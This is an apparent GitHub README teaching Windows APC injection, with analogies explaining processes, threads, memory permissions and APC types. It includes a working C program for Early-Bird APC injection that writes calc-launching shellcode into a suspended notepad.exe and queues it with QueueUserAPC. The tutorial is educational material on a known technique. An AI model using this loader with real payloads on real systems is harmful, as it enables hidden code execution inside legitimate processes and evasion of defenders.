Skip to content
 
 

Repository files navigation

APC INJECTION

INTRODUCTION

image

Imagine you’re listening to your favorite song on Spotify.

The music is flowing smoothly, uninterrupted, until suddenly an ad plays.

The interesting part isn’t the ad itself.

It’s when it plays.

The ad doesn’t interrupt the song at a random moment. It waits. It plays only when Spotify decides the timing is right, during an allowed break.

Once the ad finishes, the song resumes as if nothing happened.

Windows works in a surprisingly similar way.

Some code does not execute immediately. It waits silently in the background, queued, until the system allows it to run.

This mechanism is called an Asynchronous Procedure Call, or APC.

Today’s goal is to understand APC Injection - from absolute basics to advanced attacker behavior.

To truly understand how APC Injection works, we must first understand the building blocks that make it possible.

PREREQUISITES:

-PROCESS

-THREAD

-VIRTUAL MEMORY

-MEMORY PERMISSION

-SHELL CODE

-WINDOWS API

-HANDLE

-WHAT IS APC

-APC QUEUE

-ALERTABLE STATE

PROCESS:

So now WHAT IS A PROCESS IN A COMPUTER?

  • A PROCESS is basically a type of conatiner that helps the commands to get executed inside it when they are assigned with the help of THREAD.

    for example : spotify.exe, notepad.exe, androidstudio.exe

    Opening Notepad.exe creates a process.

    Opening spotify creates another process.

    Each process runs independently.

Now with context to APC injection the attacker will choose a target process like notepad to run their malicious code inside it.

STATES IN A PROCESS

1 NEW (being created)

2 READY (Waiting for CPU)

3 RUNNING (executing on CPU)

4 WAITING/BLOCKED

5 READY SUSPENDED (ready, but out of RAM)

6 BLOCKED SUSPENDED (Waiting for I/O/event and out of RAM)

7 TERMINATED/EXIT (finished)

THREAD:

  • A THREAD is a fundamental unit of a PROCESS , it is the Thread that performs the execution of a assigned task or command in the Computer.

    For more clear understanding think that YOU OPEN CHROME AND SEARCH FOR SPOTIFY

    What happens next SPOTIFY loads and you search/view a SONG on your feed

    How does this process happens ? for this process THREAD plays a major role

    One thread loads a webpage(i.e SPOTIFY webpage)

    Another plays a plays the song.

For more simple breakdown we can refer to the figure below:

image

When APC Injection is done it needs a Virtual Memory.Lets understand this

VIRTUAL MEMORY

Virtual memory is a technique used by an operating system that lets programs think they have a large, continuous memory space, even though the actual RAM is limited and scattered in different places.

in other words Virtual memory makes each process think it owns all memory.

But what are the Objectives of a Virtual Memory

  • A program does not need to be fully loaded into memory(RAM) to run; only the required parts are loaded[Lazy Loading]
  • Programs can be larger than the system’s physical RAM.
  • Virtual memory makes it seem like the system has more memory than it actually does.
  • It uses both RAM and disk space, loading program parts into RAM only when needed.
  • This helps the system run more programs at the same time and use memory efficiently.
image

But how does a Computer use Virtual Memory to manage / run A PROGRAM

well a Virtal Memory also need permission to READ , WRITE AND EXECUTE an assigned Process.

Now each Process has its own private virtual memory that is protected from other processes

that takes us to a brief note of

MEMORY PERMISSIONS (R/W/X)

  • Read (R): Allows a program to read data from a memory location.

  • Write (W): Allows a program to modify or store data in a memory location.

  • Execute (X): Allows the CPU to run instructions from a memory location.

  • These permissions prevent misuse of memory, such as executing data or modifying code.

  • The operating system enforces these permissions to keep programs secure and stable.

    In contect to the APC INJECTION Shellcode (malicious code) is written into the virtual memory space of the target process (ex-notepad.exe).

    Even if there are permissions for VirtualallocEx() attackers can misuse the memory by using shell code but what is it ?

SHELL CODE

A Shell Code is basically a A malicious Payload (CODE) that can make our system Vulnerable , but to run this payload in Virtual Memory the attacker needs to write it in a memory location with EXECUTE(X) permissions . It runs directly from the memory (ex - RAM ) of the machine i.e insted of running a program like androidstudio.exe the instructions (shellcode) will run directly through memeory .

There are some important points that must be noted:

-If memory is not executable, shellcode cannot run.

-So attackers ensure memory has Execute permission.

Shellcode is the “secret instruction” delivered via APC.

Figure Reference:

image

Now since we know the basics we can continue our Journey to APC

But before we talk about APC there is one more important thing and that is WINDOWS API

WINDOWS API

-In simple words these are the commands through which programs ask windows to run/do things .

for example

  • opening a file

  • allocating a memory

Since APC INJECTION is more about using THREADS ,

in programs to pinpoint a specific thread we need a unique id right? And here comes the role of HANDLE

HANDLE

  It is the OS-approved reference that allows safe and controlled operations on that exact thread.
  • A Handle is a unique identifier that gives access to a specific thread or process that an attacker can use to ADD their APC to the TARGETS thread queue.

    simplying it the process or thread is a room and handle is a KEY to that room .

    like in the figure below we can see with the use of WINDOWS API , THREAD , HANDLE .

    image

    Now that we are almost done with the prerequisites, let us connect these concepts and gradually move toward our main topic of discussion, beginning with what we mean by an Asynchronous Procedure Call (APC).

What Is APC?

APC stands for Asynchronous Procedure Call.

An Asynchronous Procedure Call is a mechanism in Windows where a function is scheduled to execute inside a specific thread, rather than running immediately.

In simple terms:

An APC is a request sent to a thread asking it to execute a piece of code at a later time.

Breaking Down “Asynchronous Procedure Call”

Asynchronous

The task does not run immediately

It does not block other operations

It runs later, when the system decides it is safe to do so

Procedure Call

A request to execute a specific set of instructions

Runs within a defined execution context, that is, a thread

There are three types of APCs

  • SIMPLE APC

  • EARLY BIRD APC

  • SPECIAL USER APC

    SIMPLE APC - A simple APC runs only when a thread is waiting or idle (in an alertable state)

    for example :

    You are listening to a Song on Spotify (not a premium user) and the AD only plays when the song has ended not in between i.e The ad does not interrupt the song immediately it waits until the song finishes just like that SIMPLE APC waits until thread is ready .

    image

    EARLY BIRD APC - In this the APC is queued before that thread starts running so that it executes as soon as the thread begins

    for example :

    You open SPOTIFY (again not premium) and AD plays immediatley that is The AD is ready before the start of the song/music even before the APP fully loads.

    image

    SPECIAL USER APC - It is a high priority APC and run when certain system events happen even if the thread is not waiting .

    for example :

    While streaming on spotify you come across a forced AD means the the AD is event-triggered , it does not wait for the song to end because it is HIGH PRIORITY

    image
image

NOW COMES THE REAL ATTACK: APC INJECTION

Now that we understand APCs, we can define APC Injection.

WHAT IS APC INJECTION?

APC Injection is a process injection technique that abuses Windows’ APC mechanism to execute malicious code inside an existing thread, without creating a new thread.

In simple words:

The attacker injects shellcode into memory and queues it as an APC, waiting for the right moment to execute.

APC QUEUE

The APC Queue is a per-thread waiting list where Asynchronous Procedure Calls (APCs) are stored until they can be executed.

Key points:

APCs are queued, not executed immediately

Each thread has its own APC queue

APCs wait until execution conditions are met

Analogy: Like background notifications piling up while you study, APCs wait silently in the queue.

ALERTABLE STATE

The Alertable State is a special state where a thread temporarily pauses its main execution to process APCs from its APC queue.

Key points:

Allows queued APCs to execute

Occurs during specific wait operations

Normal execution resumes afterward

Analogy: Like a scheduled study break for doom scrolling, the thread takes a pause, handles pending tasks, and then gets back to work.

Refer to the figure below for better understanding

image

Now let’s actually see APC Injection (a demonstration, not a real attack)

Up until now, everything we discussed lived in theory.

Processes. Threads. Memory. APCs waiting patiently in queues.

But concepts truly click only when you see them happen.

So in this section, we’ll walk through a small, controlled demonstration of APC Injection.

Not a real attack. Not malware. No persistence. No damage.

Just enough to watch the mechanism breathe.

Think of it like pressing the transparent side panel of a CPU cabinet you’re not breaking anything, just observing how things move inside.

What this demonstration is (and what it isn’t)

Let’s be very clear.

This demo:

Uses a harmless payload (Calculator)

Runs in a controlled environment

Exists only to visualize execution flow

This demo is not:

A real-world malware sample

An evasion technique

Something meant to bypass security products

If theory explained what APC Injection is, this demo explains when and how it actually executes.

The idea behind the demo (before code)

Instead of jumping straight into code, let’s set the scene.

Imagine this sequence:

Windows creates a process, but pauses it before it really starts

We quietly place some instructions inside its memory

We don’t force execution

We don’t create a new thread

We just say: “When you get a break… run this.”

That polite request is an APC.

And because we queue it before the thread even starts, this becomes an Early-Bird APC.

Now let’s see how that looks in code.

The demonstration code (reference)

Don’t try to memorize this. We’ll walk through it like a story.

#include <windows.h>

// shellcode to launch calculator
unsigned char shellcode[] = 
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
    "\x63\x2e\x65\x78\x65\x00";

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    LPVOID remoteBuffer = NULL;

    si.cb = sizeof(si);

    // 1. Create a suspended process (notepad.exe)
    if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return -1;
    }

    // Allocating memory for shellcode in the suspended process
    remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (remoteBuffer) {
        // Writing the code
        WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);

        // Queuing the APC to the main thread while it is asleep
        QueueUserAPC((PAPCFUNC)remoteBuffer, pi.hThread, (ULONG_PTR)NULL);

        // Waiting for 5 seconds
        Sleep(5000); 

        // Wake up the thread
        ResumeThread(pi.hThread);
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}

Now let’s slow this down and experience it the way Windows does.

Step 1: Creating a suspended process (the “pause before music” moment)

CREATE_SUSPENDED

This single flag changes everything.

When Notepad is created:

The process exists

The main thread exists

But execution hasn’t begun

That’s why, when you run the program, you see:

A blank Notepad window

No text

No activity

It’s like opening Spotify, but the song hasn’t started yet.

This is the “Early-Bird” part

image

we’re preparing everything before the thread wakes up.

Step 2: Placing instructions in memory (quiet, invisible)

VirtualAllocEx + WriteProcessMemory

At this stage:

Memory is allocated inside Notepad

The memory is executable

The shellcode is written

image

But nothing happens.

No popup. No calculator. No crash.

Because memory ≠ execution.

Just like downloading an ad doesn’t mean it plays immediately.

Step 3: Queueing the APC (asking, not forcing)

QueueUserAPC(...)

This is the most misunderstood part.

This line does not execute code.

It simply says:

“Hey thread, when you’re ready… run this for me.”

The shellcode is now:

Sitting in the APC queue

Tied to a specific thread

Waiting for the right moment

No interruption. No urgency. Just patience.

Step 4: The waiting period (why nothing happens)*

Sleep(5000);

This delay exists so you can observe the behavior.

During this time:

Notepad is visible

Calculator does not open

The APC is waiting silently

This reinforces the core idea:

APCs do not run immediately.They wait.

Step 5: Resuming the thread (this is where it clicks)

ResumeThread(...)

This is the moment everything connects.

When the thread resumes:

Windows begins normal execution

The thread enters internal alertable checks

The APC queue is processed

The queued APC executes

And suddenly…

Calculator opens

image

Not because we launched it directly, but because the thread ran our queued instruction during its allowed break.

Once done, the thread continues like nothing happened.

Just like Spotify resuming your song after an ad.

The real takeaway (not the calculator)

The calculator isn’t the point.

The point is this:

Windows allowed foreign code to execute inside a legitimate thread not immediately, not forcibly, but politely.

That’s why APC Injection is powerful. And that’s why defenders care about it.

The demonstration video is attached below for reference

APC EARLY BIRD Injection

image

About

APC-Injection

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages